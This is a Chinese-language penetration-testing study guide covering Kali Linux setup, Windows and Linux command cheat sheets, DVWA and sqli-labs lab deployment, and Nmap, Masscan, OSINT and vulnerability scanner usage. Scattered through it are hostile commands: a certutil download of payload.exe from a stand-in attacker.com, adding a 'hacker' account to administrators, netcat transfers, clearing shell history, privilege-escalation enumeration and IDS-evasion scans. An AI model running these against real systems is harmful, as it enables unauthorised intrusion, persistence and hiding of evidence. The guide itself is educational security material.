渗透测试 + AI 技术文档
16阶段学习路径 · 从信息收集到AI自主渗透 · LLM驱动安全测试
信息收集
Nmap · Masscan · Recon-ng · theHarvester · 子域名枚举
漏洞扫描
Nikto · OpenVAS · Nessus — Web与系统漏洞扫描全解析
Web应用测试
Burp Suite · SQLMap · XSStrike — 注入与漏洞利用实战
AI增强攻击
DeepExploit · Fuxi · AutoPentest-DRL 自主渗透框架
LLM安全集成
DeepSeek · ChatGPT · Claude 代码审计与Payload生成
MCP协议实战
Burp MCP · 自定义服务器 · AI渗透测试完整工作流
Python黑帽子
Scapy网络操控 · Burp扩展开发 · C2通信 · 木马与提权
Python爬虫侦察
正则/BS4/Lxml抓取 · 并发加速 · 动态渲染 · Scrapy框架
实战速查
Nmap · Burp Suite · SQLMap 常用命令一页速查
⚖️ 道德准则与法律规范
所有渗透测试必须在合法授权框架下进行
五项基本原则
- 合法授权 — 必须获得书面授权,明确测试范围和期限
- 最小影响 — 避免对业务系统造成不可逆损害,避开业务高峰期
- 数据保密 — 测试中获取的所有数据严格保密,测试结束后安全销毁
- 范围限定 — 仅在授权范围内测试,不得越界
- 报告义务 — 发现严重漏洞立即报告,不得拖延
测试类型对比
| 类型 | 测试者知识 | 模拟场景 | 耗时 |
|---|---|---|---|
| 黑盒测试 | 一无所知 | 外部攻击者 | 较长 |
| 白盒测试 | 完整信息 | 内部审计 | 较短 |
| 灰盒测试 | 部分信息 | 内部威胁 | 适中 |
📋 PTES 渗透测试执行标准
Penetration Testing Execution Standard — 业界标准七阶段流程
各阶段详细时间安排
| 阶段 | 周期 | 核心目标 | 关键工具 |
|---|---|---|---|
| 信息收集 | 1-2周 | 全面掌握目标信息 | Nmap, Recon-ng, theHarvester |
| 漏洞扫描 | 3-5天 | 识别安全漏洞 | Nikto, OpenVAS, Nessus |
| 漏洞利用 | 2-3天 | 验证漏洞可利用性 | Metasploit, SQLMap, Burp Suite |
| 权限维持 | 1-2天 | 建立持久访问 | Cobalt Strike, Empire |
| 横向移动 | 2-3天 | 扩展内网控制 | Mimikatz, PsExec, BloodHound |
| 清理痕迹 | 1天 | 清除操作日志 | 清除Shell历史、删除日志 |
🐉 Kali Linux 环境部署
基于《Kali Linux Web安全渗透测试详解》— 渗透测试专用操作系统安装、配置与优化
为什么渗透测试使用 Kali Linux?
Kali Linux 是基于 Debian 的 Linux 发行版,由 Offensive Security 公司开发维护。系统内置 600+ 款渗透测试工具,涵盖信息收集、漏洞扫描、漏洞利用、密码攻击、无线攻击、逆向工程、取证分析等各个领域。完全开源免费,所有工具直接内置可用。
VMware 虚拟机安装
- 从 kali.org 官网下载 Kali Linux ISO 镜像(推荐使用 Google Chrome 翻译页面)
- 打开 VMware → 创建新的虚拟机 → 选择「典型」安装
- 选择 ISO 镜像文件 → 客户机操作系统选择「Linux」→ 版本「Debian 10.x 64位」
- 分配磁盘空间(建议 ≥ 40GB)→ 自定义硬件(建议 ≥ 4GB 内存, ≥ 2 核心 CPU)
- 启动虚拟机 → 选择「Graphical Install」→ 配置语言/时区/用户名/密码
设置 root 用户登录
# Kali 默认禁止 root 登录,需要设置 root 密码
sudo passwd root
# 输入当前普通用户密码
# 输入新的 root 密码 (两次)
# 密码输入无回显,正常现象
# 注销当前用户,用 root 登录
# 用户名: root
# 密码: 刚才设置的密码
配置 SSH 远程登录
# Kali 默认不开启 SSH 服务
# 1. 修改 SSH 配置允许 root 登录
sudo vim /etc/ssh/sshd_config
# 找到 #PermitRootLogin prohibit-password
# 改为 PermitRootLogin yes
# 找到 #PasswordAuthentication yes
# 改为 PasswordAuthentication yes
# 2. 启动 SSH 服务
sudo systemctl start ssh
sudo systemctl enable ssh # 开机自启
# 3. 检查 SSH 运行状态
sudo systemctl status ssh
# 4. 远程登录
ssh root@KALI_IP
🔧 Kali 网络配置与软件源
临时/永久IP配置、apt国内镜像源加速、系统更新与工具升级
IP 地址配置
# ===== 临时配置 (重启失效) =====
ifconfig eth0 192.168.1.100/24
route add default gw 192.168.1.1
echo "nameserver 8.8.8.8" > /etc/resolv.conf
# ===== 永久配置 (/etc/network/interfaces) =====
auto eth0
iface eth0 inet static
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
# ===== 重启网络服务 =====
sudo systemctl restart networking
# 或
sudo ifdown eth0 && sudo ifup eth0
配置国内 apt 镜像源(加速工具下载)
# 备份原 sources.list
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
# 编辑源列表
sudo vim /etc/apt/sources.list
# ===== 推荐: 中科大源 (USTC) =====
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
# ===== 备选: 阿里云源 =====
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
# ===== 更新源并升级系统 =====
sudo apt update
sudo apt upgrade -y
sudo apt dist-upgrade -y
# ===== 安装特定工具包 =====
sudo apt install kali-linux-headless # 无 GUI 工具集
sudo apt install kali-linux-large # 常用工具集
sudo apt install kali-linux-everything # 全部工具 (大下载)
📊 网络协议深度分析
基于 Kali 书籍第五章 — OSI七层模型、ARP/ICMP/TCP/UDP/DNS/HTTP 协议 Wireshark 抓包分析
OSI 七层模型与 TCP/IP 五层对照
| OSI 层 | 功能 | 协议/设备 | TCP/IP 对应 |
|---|---|---|---|
| 7-应用层 | 用户接口 | HTTP, FTP, DNS, SMTP | 应用层 |
| 6-表示层 | 数据格式转换/加密 | SSL/TLS, JPEG, ASCII | 应用层 |
| 5-会话层 | 建立/管理/终止会话 | NetBIOS, RPC, SQL | 应用层 |
| 4-传输层 | 端到端可靠传输 | TCP (可靠), UDP (不可靠) | 传输层 |
| 3-网络层 | IP寻址与路由 | IP, ICMP, ARP, 路由器 | 网络层 |
| 2-数据链路层 | 帧传输/MAC寻址 | Ethernet, MAC, 交换机 | 数据链路层 |
| 1-物理层 | 比特流传输 | 网线, 光纤, 网卡 | 物理层 |
Wireshark 协议分析实战 — ARP / ICMP
# ===== ARP 协议 (Address Resolution Protocol) =====
# 作用: IP → MAC 地址解析
# 帧结构: 2字节硬件类型+2字节协议类型+1字节硬件长度+1字节协议长度
# +2字节操作码(1=请求,2=应答)+6字节发送方MAC+4字节发送方IP
# +6字节目标MAC+4字节目标IP
# Wireshark 过滤: arp
# 分析: arp.opcode == 1 → 请求 | arp.opcode == 2 → 应答
# ===== ICMP 协议 (Internet Control Message Protocol) =====
# 作用: 网络诊断与错误报告 (ping, traceroute)
# 类型字段:
# 0 = Echo Reply (ping响应)
# 8 = Echo Request (ping请求)
# 3 = Destination Unreachable
# 11 = Time Exceeded (traceroute)
# Wireshark 过滤: icmp
# 分析: icmp.type == 8 → 请求 | icmp.type == 0 → 响应
TCP 三次握手 — Wireshark 抓包还原
# ===== TCP 三次握手 =====
# 第一步: Client → Server [SYN] (SYN=1, ACK=0, seq=x)
# 第二步: Server → Client [SYN/ACK] (SYN=1, ACK=1, seq=y, ack=x+1)
# 第三步: Client → Server [ACK] (SYN=0, ACK=1, seq=x+1, ack=y+1)
# Wireshark 过滤追踪TCP流:
tcp.stream eq 0 # 追踪第一个TCP流
tcp.flags.syn == 1 # 查看SYN包
tcp.flags.reset == 1 # 查看RST包
# ===== TCP 四次挥手 =====
# Client → Server [FIN/ACK] (FIN=1, ACK=1)
# Server → Client [ACK] (ACK=1)
# Server → Client [FIN/ACK] (FIN=1, ACK=1)
# Client → Server [ACK] (ACK=1)
# ===== UDP 协议 =====
# 特点: 无连接、不可靠、无握手、低延迟
# 头部: 8字节 (源端口2+目标端口2+长度2+校验和2)
# Wireshark 过滤: udp
# DNS (53), DHCP (67/68), SNMP (161), VoIP 使用UDP
# ===== DNS 协议 =====
# 端口: 53 (UDP 为主, TCP 用于大响应/区域传输)
# Wireshark 过滤: dns
# 分析: dns.qry.name == "target.com" → 过滤特定域名查询
# dns.flags.response == 1 → 只看响应
# dns.qry.type == 1 → A 记录
# dns.qry.type == 15 → MX 记录 (邮件服务器)
💻 Windows & Linux 系统命令速查
渗透测试必备的操作系统基础命令,涵盖 Windows 和 Linux 双平台
1. Windows 系统常用命令
Windows 操作系统由微软研发,采用图形化模式 GUI,是目前应用最广泛的操作系统。在渗透测试中,掌握 Windows 命令行操作是后渗透阶段的基础。
1.1 目录与文件操作
# === 目录切换与浏览 ===
cd c:\ # 切换到 C 盘根目录
cd .. # 返回上一级目录
dir # 显示目录中的文件和子目录列表
dir /a # 显示所有文件(含隐藏和系统文件)
dir /s # 递归显示子目录内容
# === 文件内容操作 ===
type 1.txt # 显示文本文件内容
echo hello jfedu! # 将内容打印到终端
echo jfedu > 1.txt # 将内容写入文件(覆盖)
echo jfedu >> 1.txt # 将内容追加到文件
# === 目录与文件管理 ===
md jfedu # 创建目录
copy 1.txt 2.txt # 复制文件到目标
xcopy jfedu jfedu-1 # 复制文件夹(源文件夹需非空)
ren 2.txt 3.txt # 重命名文件
del 1.txt # 删除文件
rd jfedu # 删除空目录
rd jfedu /S # 删除非空目录(含子目录和文件)
rd jfedu /S /Q # 安静模式删除,不询问确认
1.2 网络测试命令
# === 连通性测试 ===
ping jfedu.net # 测试网络连通性(目标可以是域名或IP)
ping -t 192.168.1.1 # 持续 ping,直到 Ctrl+C 停止
ping -n 10 192.168.1.1 # 发送指定数量的数据包
ping -l 1500 192.168.1.1 # 指定数据包大小(字节)
# === DNS 解析 ===
nslookup jfedu.net # 使用默认 DNS 解析域名
nslookup jfedu.net 8.8.8.8 # 指定 DNS 服务器解析
nslookup -type=MX jfedu.net # 查询 MX 记录(邮件服务器)
nslookup -type=NS jfedu.net # 查询 NS 记录(域名服务器)
nslookup -type=A jfedu.net # 查询 A 记录(IPv4 地址)
1.3 进程管理命令
# === 进程列表 ===
tasklist # 显示计算机上运行的进程列表
tasklist /V # 显示详细任务信息(含窗口标题)
tasklist /SVC # 显示每个进程中的服务
tasklist /M # 显示与进程关联的 DLL 模块
tasklist /FI "PID eq 1024" # 使用过滤器筛选特定 PID
# === 进程终止 ===
taskkill /PID 1024 # 按 PID 终止进程
taskkill /IM capiws.exe # 按映像名称终止进程
taskkill /F /PID 1024 # 强制终止进程(/F 强制执行)
taskkill /T /PID 1024 # 终止进程及其子进程(/T 树形终止)
1.4 用户管理命令
# === net user 账户管理 ===
net user # 列出所有本地用户
net user guest # 查看指定用户详细信息
net user hacker 123456 /add # 添加新用户并设置密码
net user hacker 888888 # 修改用户密码
net user hacker /active:yes # 启用用户账户
net user hacker /active:no # 禁用用户账户
net user hacker /delete # 删除用户账户
# === 权限提升 ===
net localgroup administrators # 查看管理员组成员
net localgroup administrators hacker /add # 将用户加入管理员组
1.5 网络配置命令
# === IP 配置 ===
ipconfig # 显示基本网络配置信息
ipconfig /all # 显示完整 TCP/IP 配置(MAC、DHCP、DNS)
ipconfig /displaydns # 显示 DNS 解析缓存
ipconfig /flushdns # 清理 DNS 解析缓存
ipconfig /release # 释放 DHCP 分配的 IP 地址
ipconfig /renew # 重新获取 DHCP IP 地址
# === 路由与连接 ===
route print # 显示路由表
netstat -ano # 显示所有连接和监听端口(含 PID)
netstat -an | findstr LISTENING # 查看所有监听端口
arp -a # 查看 ARP 缓存表
2. Linux 系统常用命令
Linux 是一套免费使用和自由传播的类 Unix 操作系统,基于 POSIX 和 Unix 的多用户、多任务、多线程和多 CPU 操作系统。Kali Linux 作为渗透测试的标准平台,熟练掌握 Linux 命令是基本要求。
2.1 目录与文件操作
# === 目录导航 ===
pwd # 显示当前工作目录的完整路径
cd /pentest # 切换到指定目录
cd .. # 返回上一级目录
cd ~ # 返回当前用户的家目录
cd - # 返回上次所在的目录
# === 文件列表 ===
ls # 显示目录中的文件和子目录
ls -l # 以长列表格式显示详细信息
ls -a # 显示所有文件(含隐藏文件 .开头)
ls -la # 组合:详细信息 + 隐藏文件
ls -lh # 易读的文件大小格式(K/M/G)
ls -ltr # 按时间排序,最新在最后
# === 目录操作 ===
mkdir tools # 创建目录
mkdir -p a/b/c # 递归创建父目录(自动创建缺失的上级目录)
# === 文件操作 ===
cp 1.txt 2.txt # 复制文件
cp -r dir1 dir2 # 递归复制目录
cp -p file1 file2 # 保留文件权限、拥有者、时间戳属性
mv old.txt new.txt # 移动/重命名文件
mv file.txt /tmp/ # 将文件移动到指定目录
# === 删除操作 ===
rm file.txt # 删除文件
rm -f file.txt # 强制删除,不提示确认
rm -r directory # 递归删除目录及内容
rm -rf directory # 强制递归删除(⚠️ 谨慎使用!)
# === 文件权限 ===
chmod 755 script.sh # 设置权限:rwx r-x r-x
chmod +x script.sh # 添加执行权限
chmod 777 file.txt # 所有人可读写执行(⚠️ 安全隐患)
# 权限数字: 4=读(r) 2=写(w) 1=执行(x)
# 755 = rwxr-xr-x 644 = rw-r--r-- 600 = rw-------
2.2 网络测试命令
# === 连通性测试 ===
ping 192.168.1.1 # 测试网络连通性
ping -c 4 target.com # 发送指定数量数据包后停止
ping -s 1024 target.com # 指定数据包大小(字节)
# === 文件下载 ===
wget http://example.com/file.zip # 下载文件到当前目录
wget -b http://example.com/file.zip # 后台下载(大文件推荐)
wget -O /tmp/save.zip http://example.com/file.zip # 保存到指定路径
wget -r -l 2 http://example.com/ # 递归下载(深度2层)
# === 文件查看 ===
hexdump -C file.bin # 以 ASCII 和十六进制格式显示文件内容
xxd file.bin # 十六进制查看(替代 hexdump)
strings file.bin # 提取文件中的可打印字符串
2.3 进程管理命令
# === 进程查看 ===
ps # 显示当前 shell 的进程
ps aux # 显示所有用户的所有进程
ps aux | grep apache # 过滤特定进程
ps -ef # 全格式显示所有进程
# === 进程控制 ===
kill 1024 # 终止 PID=1024 的进程(发送 TERM 信号)
kill -9 1024 # 强制终止进程(发送 KILL 信号)
kill -15 1024 # 正常终止进程(TERM,默认)
killall apache2 # 按进程名终止所有匹配进程
pkill -f "python3" # 按命令行匹配终止进程
# === 服务管理 ===
service apache2 status # 查看服务状态
service apache2 start # 启动服务
service apache2 stop # 停止服务
service apache2 restart # 重启服务
systemctl status ssh # systemd 方式查看状态
systemctl start ssh # systemd 方式启动服务
systemctl enable ssh # 设置服务开机自启
2.4 网络配置命令
# === 网络接口 ===
ifconfig # 查看所有网络接口
ifconfig eth0 # 查看指定网卡
ifconfig eth0 192.168.1.100 netmask 255.255.255.0 # 配置临时 IP
ifconfig eth0 down # 禁用网卡
ifconfig eth0 up # 启用网卡
# === 网络状态 ===
netstat -a # 显示所有连接和监听端口
netstat -an # 不解析 IP 和端口号(数字显示)
netstat -ant # 仅显示 TCP 连接
netstat -anu # 仅显示 UDP 连接
netstat -anpt # 显示 TCP 连接及对应进程
netstat -tlnp # 显示所有监听中的 TCP 端口
# === 路由管理 ===
route -n # 显示路由表(数字格式)
route add default gw 192.168.1.1 # 添加默认网关
ip route show # 查看路由(iproute2 方式)
2.5 用户管理命令
# === 用户创建与管理 ===
useradd jfedu # 创建用户
useradd -s /bin/bash jfedu # 创建用户并指定登录 Shell
useradd -m jfedu # 创建用户并自动创建家目录
passwd jfedu # 修改用户密码
passwd # 修改当前用户密码
# === 用户删除 ===
userdel jfedu # 删除用户(保留家目录)
userdel -r jfedu # 删除用户及家目录、邮件
# === 权限切换 ===
su - root # 切换到 root 用户(加载环境变量)
sudo ifconfig # 以 root 身份执行单条命令
sudo -i # 切换到 root shell
sudo -l # 查看当前用户可执行的 sudo 命令
2.6 信息查询命令
# === 系统信息 ===
whoami # 显示当前登录用户名
id # 显示用户 ID、组 ID 及所属组
uname -a # 显示所有系统信息(内核、主机名、架构)
uname -r # 显示内核发行版本号
cat /etc/os-release # 查看操作系统发行版信息
hostname # 查看主机名
# === 磁盘与内存 ===
df -h # 查看磁盘使用情况(易读格式)
du -sh /var/log/ # 查看目录大小
free -h # 查看内存使用情况
top # 实时查看系统资源占用(q 退出)
# === 命令历史 ===
history # 查看 shell 命令历史记录
history 20 # 查看最近的 20 条命令
history -c # 清除命令历史记录
!123 # 重新执行历史中第 123 条命令
!! # 重新执行上一条命令
2.7 远程登录与关机
# === SSH 远程登录 ===
ssh root@192.168.1.100 # SSH 远程登录
ssh -p 2222 user@host # 指定端口登录
ssh -i key.pem user@host # 使用密钥文件登录
ssh -D 1080 user@host # 动态端口转发(SOCKS 代理)
# === 系统关机/重启 ===
shutdown -h now # 立即关机
shutdown -h 0 # 立即关机(同上)
shutdown -h +10 # 10分钟后关机
shutdown -r now # 立即重启
shutdown -c # 取消计划的关机
reboot # 重启系统
init 0 # 关机
init 6 # 重启
3. VIM 编辑器速查
VIM 是 Linux 系统中最常用的文本编辑器,在 Kali 中配置文件和编写脚本都离不开它。
| 模式 | 进入方式 | 常用操作 |
|---|---|---|
| 命令模式 | 打开文件即进入 |
gg 跳到第一行 · G 跳到末行 · dd 剪切当前行yy 复制当前行 · p 粘贴到下一行 · u 撤销dG 从当前行删除到文件结尾 · /keyword 搜索关键词n 下一个匹配 · N 上一个匹配 · 0 行首 · $ 行尾
|
| 输入模式 | 按 i/a/o/I/A/O |
i 光标前插入 · a 光标后插入 · o 下一行插入I 行首插入 · A 行尾插入 · O 上一行插入Esc 返回命令模式
|
| 末行模式 | 命令模式下按 : |
:w 保存 · :q 退出 · :wq 保存并退出:q! 强制退出不保存 · :w! 强制保存:3 跳到第3行 · :set nu 显示行号:%s/old/new/g 全局替换 · :e! 重新载入文件
|
4. 渗透测试常用命令组合
信息收集组合
# Linux - 快速主机发现
ping -c 1 192.168.1.1 && echo "[+] Host is alive" || echo "[-] Host is down"
# Linux - 端口扫描(无 nmap 时的替代方案)
for port in 22 80 443 8080 3306; do
timeout 1 bash -c "echo >/dev/tcp/192.168.1.100/$port" 2>/dev/null && echo "[+] Port $port open"
done
# Windows - 查看网络连接对应的进程
netstat -ano | findstr ESTABLISHED
# Linux - 查找 SUID 文件(提权枚举)
find / -perm -4000 -type f 2>/dev/null
# Linux - 查找可写目录
find / -writable -type d 2>/dev/null | grep -v proc
文件传输技巧
# Linux - Python HTTP 服务器(快速搭建临时文件服务器)
python3 -m http.server 8000 # Python3
python -m SimpleHTTPServer 8000 # Python2
# Linux - Netcat 文件传输
# 接收端: nc -lvp 4444 > received.txt
# 发送端: nc 192.168.1.100 4444 < file.txt
# Linux - Base64 编码传输(绕过限制)
base64 -w0 shell.sh > shell.b64 # 编码
base64 -d shell.b64 > shell.sh # 解码
# Windows - certutil 下载文件
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\p.exe
后渗透常用
# Linux - 查看最近登录用户
last -a
# Linux - 查看当前登录用户
w
# Linux - 查看计划任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# Windows - 查看计划任务
schtasks /query /fo LIST /v
# Windows - 查看已安装补丁(用于提权枚举)
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Linux - 一键查找可写敏感配置文件
find /etc -writable -type f 2>/dev/null | grep -E 'passwd|shadow|sudoers|hosts'
man 命令名 或 命令名 --help 查看帮助文档,熟能生巧。
🧪 靶场环境搭建
基于 Kali 书籍第十一章 — DVWA、sqli-labs 部署 + Firefox 中文版 + Hackbar 插件安装
1. DVWA 攻防演练系统部署
DVWA (Damn Vulnerable Web Application) — 国际著名的 Web 渗透演练平台,涵盖 OWASP Top 10 全部漏洞类型。
| 实验环境 | 详情 |
|---|---|
| 操作系统 | CentOS 7 (piloteer120) |
| IP 地址 | 192.168.31.120 |
| Web 组件 | Apache + PHP + MariaDB (LAMP) |
| DVWA 版本 | DVWA-master (GitHub 最新版) |
| 默认登录 | admin / password |
# 步骤1: 使用 YUM 快速部署 LAMP 环境
yum -y install httpd php php-mysql php-gd mariadb-server
systemctl start httpd && systemctl enable httpd
systemctl start mariadb && systemctl enable mariadb
# 步骤2: 关闭防火墙
systemctl disable firewalld && systemctl stop firewalld
# 步骤3: 设置 MySQL root 密码
mysqladmin -u root password "your_password"
mysql -u root -p your_password # 验证登录
# 步骤4: 配置 PHP — 修改 /etc/php.ini
allow_url_include = On # 第815行,Off 改为 On
systemctl restart httpd
# 步骤5: 部署 DVWA
unzip -d /var/www/html/ DVWA-master.zip
mv /var/www/html/DVWA-master /var/www/html/dvwa
chown -R apache ./var/www/html/dvwa/
# 步骤6: 配置数据库连接
cd /var/www/html/dvwa/config/
cp config.inc.php.dist config.inc.php
vim config.inc.php
# 修改选项:
# $_DVWA['db_password'] = 'your_password';
# 添加 reCAPTCHA 公钥/私钥(可选):
# $_DVWA['recaptcha_public_key'] = '6LfUZr4UAAAAACs5S68EfL7A7...';
# $_DVWA['recaptcha_private_key'] = '6LfUZr4UAAAAACMgFi7Qh7y...';
# 步骤7: 浏览器访问完成安装
# http://192.168.31.120/dvwa/setup.php
# 点击 "Create/Reset Database" → 自动跳转登录页
# 用户名: admin 密码: password
2. sqli-labs SQL 注入实验平台部署
sqli-labs — 印度程序员开发的 SQL 注入专项学习平台,包含 75+ 关卡,涵盖 GET/POST/Header 注入、盲注、堆叠查询、宽字节注入等全部注入类型。
注意:若与 DVWA 同机器部署,建议恢复快照后全新安装。若基于已有 DVWA 环境,跳过 LAMP 安装步骤。
# 步骤1: 上传并解压 sqli-labs
unzip sqli-labs-master.zip -d /var/www/html
mv /var/www/html/sqli-labs-master /var/www/html/sqli-labs
chown -R apache ./var/www/html/sqli-labs
# 步骤2: 配置数据库连接
vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
# 修改:
# $dbpass = ''; → $dbpass = 'your_password';
# 步骤3: 浏览器访问初始化
# http://192.168.31.120/sqli-labs/
# 点击 "Setup/Reset Database for labs" 创建数据库
# 访问关卡列表: http://192.168.31.120/sqli-labs/index.html
# 步骤4: 关机保存快照
# 建议在初始环境保存快照,后续可反复恢复
| 关卡范围 | 注入类型 | 说明 |
|---|---|---|
| Less 1-4 | GET Union 注入 | 基础联合查询 |
| Less 5-6 | GET 报错注入 | 双查询 (Double Query) |
| Less 7-10 | 文件读写注入 | INTO OUTFILE / LOAD_FILE |
| Less 11-14 | POST 注入 | 登录表单注入 |
| Less 15-16 | 布尔/时间盲注 | Boolian / Time-Based Blind |
| Less 17-20 | Header / Cookie 注入 | User-Agent/Referer/Cookie |
| Less 21-22 | Base64 Cookie 注入 | 编码绕过 |
| Less 23-28 | WAF 绕过 | 过滤注释/空格/关键词 |
| Less 29-32 | WAF 双机绕过 | Tomcat + Apache 模式 |
| Less 33-37 | 宽字节注入 | GBK/GB2312 字符集 |
| Less 38-41 | 堆叠注入 | Stacked Queries |
| Less 42-45 | POST/二次注入 | 登录+密码修改注入 |
| Less 46-53 | ORDER BY 注入 | 排序注入 |
| Less 54-65 | 挑战关卡 | 限制尝试次数 |
3. Kali 安装中文版 Firefox 浏览器
Kali 自带的 Firefox-ESR 存在插件安装兼容性问题,推荐安装最新中文版 Firefox。
# 步骤1: 卸载旧版本
rm -rf /usr/lib/firefox-esr
rm -rf /usr/lib/firefox-bin
rm -rf /usr/lib/firefox
rm -rf /usr/bin/firefox
# 步骤2: 下载最新版 Firefox
# 访问 https://www.mozilla.org/zh-CN/firefox/new/
# 下载 .tar.bz2 包并上传到 Kali
# 步骤3: 解压并创建软链接
tar -jxf firefox-*.tar.bz2 -C /usr/lib/
ln -s /usr/lib/firefox/firefox /usr/bin/firefox
firefox & # 后台启动测试
# 步骤4: 创建桌面快捷方式 (可选)
cat > /usr/share/applications/firefox.desktop << 'EOF'
[Desktop Entry]
Version=666
Name=firefox
Name[zh_CN]=firefox-浏览器
Exec=firefox
Terminal=false
Type=Application
Icon=firefox
EOF
4. Hackbar 手工渗透插件安装
Hackbar — Firefox 必备渗透插件,支持 SQL 注入、XSS 测试、编码/解码、数据篡改,帮助安全测试人员开展手工代码审计和漏洞检测。
# 方式1: 从 GitHub 克隆安装
git clone https://github.com/HCTYMFF/hackbar2.1.3.git
ls hackbar2.1.3-master # 查看获得 {4c98c9c7...}.xpi 文件
# 方式2: 下载 ZIP 解压
unzip hackbar2.1.3-master.zip
# 安装步骤:
# 1. 打开 Firefox → 地址栏输入 about:addons
# 2. 点击齿轮图标 → "从文件安装附加组件"
# 3. 选择 {4c98c9c7-fc13-4622-b08a-a18923469c1c}.xpi
# 4. 确认安装
# 使用: 按 F12 打开开发者工具 → 点击 Hackbar 标签页
# 功能: SQL注入测试、XSS测试、编码/解码(Base64/URL/Hex)
# POST数据提交、Load/Execute URL
🔍 Nmap 网络扫描器
最强大的网络发现与安全审计工具
基础扫描命令
# 快速扫描(前1000个端口)
nmap -F target.com
# 完整端口扫描
nmap -p- target.com
# 服务版本检测
nmap -sV target.com
# 操作系统检测
nmap -O target.com
# 指定端口范围
nmap -p 1-1000,3389,8080 target.com
# 综合扫描(OS + 版本 + 脚本 + Traceroute)
nmap -A target.com
高级扫描技巧
# SYN隐蔽扫描(需root)
nmap -sS -T2 -f --mtu 24 --data-length 200 target.com
# UDP扫描
nmap -sU -p 1-1000 --max-retries 1 -T3 target.com
# 防火墙/IDS规避
nmap -f --mtu 8 --data-length 50 -D RND:10 target.com
nmap --source-port 53 target.com # 伪装DNS端口
nmap --scan-delay 5s target.com # 降低扫描速率
nmap --max-parallelism 1 target.com # 串行扫描
# 输出格式
nmap -oN normal.txt target.com
nmap -oX xml_output.xml target.com
nmap -oG grepable.txt target.com
nmap -oA all_formats target.com # 全部格式
NSE脚本引擎
# 漏洞扫描脚本
nmap --script vuln target.com
# 暴力破解
nmap --script=http-brute -p 80 target.com
nmap --script=mysql-brute target.com
nmap --script=ftp-brute target.com
# SMB枚举
nmap --script=smb-os-discovery target.com
nmap --script=smb-enum-shares target.com
nmap --script=smb-enum-users target.com
# HTTP信息收集
nmap --script=http-enum target.com
nmap --script=http-methods target.com
nmap --script=http-robots.txt target.com
nmap --script=http-title target.com
# SSL/TLS分析
nmap --script=ssl-enum-ciphers -p 443 target.com
nmap --script=ssl-heartbleed -p 443 target.com
⚡ Masscan 高速端口扫描
世界上最快的互联网端口扫描器,可6分钟内扫描整个互联网
# 基本扫描
masscan 10.0.0.0/8 -p80
masscan 192.168.1.1-192.168.1.254 -p1-65535
# 速率控制(默认100包/秒,可调至2500万包/秒)
masscan 10.0.0.0/8 -p80 --rate=1000
masscan 10.0.0.0/8 -p80 --rate=10000
# 输出格式
masscan 10.0.0.0/8 -p80 -oJ output.json
masscan 10.0.0.0/8 -p80 -oB output.bin # 二进制格式
# 排除IP + 暂停恢复
masscan 10.0.0.0/8 -p80 --excludefile exclude.txt
masscan 10.0.0.0/8 -p80 -oB scan.paused
masscan --resume scan.paused # 从断点恢复
🌐 Recon-ng 与 theHarvester
开源情报收集(OSINT)框架
Recon-ng 侦察框架
# 启动
recon-ng
# 模块管理
marketplace search all
marketplace install recon/domains-hosts/brute_hosts
# 工作区管理
workspaces create pentest
workspaces load pentest
# 添加目标
db insert domains example.com
# 使用模块
modules load recon/domains-hosts/brute_hosts
options set SOURCE example.com
run
# 显示结果
show hosts
theHarvester 信息收集
# 全源搜索(Google, Bing, LinkedIn等)
theHarvester -d example.com -l 500 -b all
# 指定搜索引擎
theHarvester -d example.com -b google
theHarvester -d example.com -b linkedin
# 输出HTML报告
theHarvester -d example.com -b all -f results.html
# 批量域名
theHarvester -f domains.txt -b all
子域名枚举工具
Sublist3r / Subfinder / Amass / Gobuster — 构建完整攻击面
Sublist3r 子域名枚举
# 基本枚举
sublist3r -d example.com
# 暴力破解模式
sublist3r -d example.com -b
# 指定线程 + 端口扫描
sublist3r -d example.com -t 50 -p 80,443,8080
# 保存结果
sublist3r -d example.com -o results.txt
Subfinder & Amass
# Subfinder
subfinder -d target.com -o subdomains.txt
subfinder -dL domains.txt -o all_subdomains.txt
# Amass (被动 + 主动)
amass enum -passive -d target.com
amass enum -d target.com -o amass_results.txt
amass intel -whois -d target.com
Gobuster 目录爆破
# 目录扫描
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
# 指定扩展名
gobuster dir -u http://target.com -w big.txt -x php,html,txt,js
# 虚拟主机枚举
gobuster vhost -u https://target.com -w subdomains-top1million-5000.txt
Nikto Web服务器扫描器
开源Web服务器安全扫描器,检测6400+危险文件/CGI,版本特有问题
# 基本扫描
nikto -h http://target.com
# SSL扫描 + 指定端口
nikto -h https://target.com -ssl -p 8443
# 使用代理
nikto -h http://target.com -useproxy http://127.0.0.1:8080
# 输出HTML报告
nikto -h http://target.com -o report.html -F html
# 详细扫描模式
nikto -h http://target.com -Display V
OpenVAS / Nessus 漏洞管理
企业级漏洞扫描与管理平台
Nessus CLI 操作
# 更新插件
nessuscli update --all
# 通过API启动扫描
curl -X POST https://localhost:8834/scans -H "X-ApiKeys: accessKey=xxx; secretKey=yyy" -H "Content-Type: application/json" -d '{"uuid":"template-uuid","settings":{"name":"My Scan","text_targets":"192.168.1.1"}}'
# 导出报告
curl -X GET "https://localhost:8834/scans/scan_id/export" -H "X-ApiKeys: accessKey=xxx; secretKey=yyy" --output report.nessus
Wapiti Web应用扫描器
# 基本扫描
wapiti -u https://target.com -f html -o wapiti_report
# 指定漏洞模块
wapiti -u https://target.com -m "sql,xss,exec,file"
🟢 Nessus 实战详解
企业级漏洞扫描器 — 安装部署、策略配置、合规检查、API自动化、报告解读
安装与初始化
# Linux (Kali / Ubuntu)
curl -o nessus.deb https://www.tenable.com/downloads/nessus
sudo dpkg -i nessus.deb
sudo systemctl start nessusd
sudo systemctl enable nessusd
# 访问 https://localhost:8834 完成初始化
# 1. 注册获取激活码 (免费版: 16个IP)
# 2. 创建管理员账户
# 3. 等待插件下载完成 (约30分钟, 150,000+ 插件)
扫描策略模板选择
| 模板 | 用途 | 攻击性 |
|---|---|---|
| Basic Network Scan | 通用全端口+服务扫描 | 中 |
| Advanced Scan | 可自定义全部参数 | 可调 |
